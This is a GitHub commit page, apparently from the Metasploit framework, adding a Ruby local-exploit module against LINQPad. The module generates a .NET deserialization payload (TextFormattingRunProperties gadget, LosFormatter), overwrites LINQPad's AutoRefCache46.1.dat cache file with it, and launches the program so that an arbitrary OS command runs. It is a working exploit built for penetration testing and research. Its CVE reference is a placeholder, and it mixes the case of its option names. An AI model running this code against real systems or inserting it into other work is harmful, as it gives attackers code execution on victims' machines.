Skip to content

Commit

Permalink
LINQPad module init
Browse files Browse the repository at this point in the history
  • Loading branch information
msutovsky-r7 committed Dec 30, 2024
1 parent 78c37a4 commit 3604789
Show file tree
Hide file tree
Showing 2 changed files with 535 additions and 0 deletions.
85 changes: 85 additions & 0 deletions modules/exploits/windows/local/linqpad_deserialization.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,85 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

# includes file?, directory?
include Msf::Post::File

# includes generate
include Msf::Util::DotNetDeserialization

def initialize(info = {})
super(
update_info(
info,
# The Name should be just like the line of a Git commit - software name,
# vuln type, class. Preferably apply
# some search optimization so people can actually find the module.
# We encourage consistency between module name and file name.
'Name' => 'LINQPad Deserialization Exploit',
'Description' => %q{
This module exploits a bug in LIQPad up to version 5.48.00. The bug is only exploitable in paid version of software. The core of a bug is cache file containing deserialized data, which attacker can overwrite with malicious payload. The data gets deserialized every time the app restarts.
},
'License' => MSF_LICENSE,
'Author' => [
'msutovsky-r7 <martin_sutovsky@rapid7.com>',
'James Williams' # original research
],
'Platform' => 'win',
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Windows', { 'Arch' => ARCH_CMD } ]],
# 'Privileged' => true,
'References' => [
[ 'URL', 'https://trustedsec.com/blog/discovering-a-deserialization-vulnerability-in-linqpad'],
[ 'CVE', '1978-1234']
],
'DisclosureDate' => '2024-12-03',
'DefaultTarget' => 0,
# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('LINQPad_path', [true, "Path to LINQPad executable on target's machine", "C:\Users\ms\AppData\Local\LINQPad"]),
OptString.new('Cache_path', [true, 'Path to cache file directory containing deserialized data'])
])
end

# Simplify pulling the writable directory variable

def check
if datastore['LINQPad_path'].blank? || !file?(datastore['LINQPad_path'])
return Exploit::CheckCode::Unknown('LINQPad binary not specified or doesn\'t exist')
elsif datastore['Cache_path'].blank? || !directory?(datastore['Cache_path']) || !file?(datastore['cache_path'] + '/autorefcache46.1.dat')
return Exploit::CheckCode::Unknown('Cache directory doesn\'t exist')
elsif !file?(datastore['cache_path'] + '/autorefcache46.1.dat')
return Exploit::CheckCode::Unknown('Cannot find cache file')
elsif file?(datastore['cache_path'] + '/autorefcache46.2.dat')
return Exploit::CheckCode::Safe('Contains not vulnerable version of LINQPad')
else
return Exploit::CheckCode::Vulnerable('LINPad and vulnerable cache file present, target possibly exploitable')
end
end

def exploit
# generate payload
dotnet_payload = ::Msf::Util::DotNetDeserialization.generate(
payload.encoded, # this is the Operating System command to run
gadget_chain: :TextFormattingRunProperties,
formatter: :LosFormatter
)
# try to overwrite cache file
fail_with(Failure::PayloadFailed, 'Writing payload to cache file failed') unless write_file(datastore['Cache_path'] + '/AutoRefCache46.1.dat', dotnet_payload)

# run LINQPad and trigger deserialization
fail_with(Failure::PayloadFailed, 'Running LINQPad failed') unless cmd_exec(datastore['LINQPad_path'])
end
end
Loading

0 comments on commit 3604789

Please sign in to comment.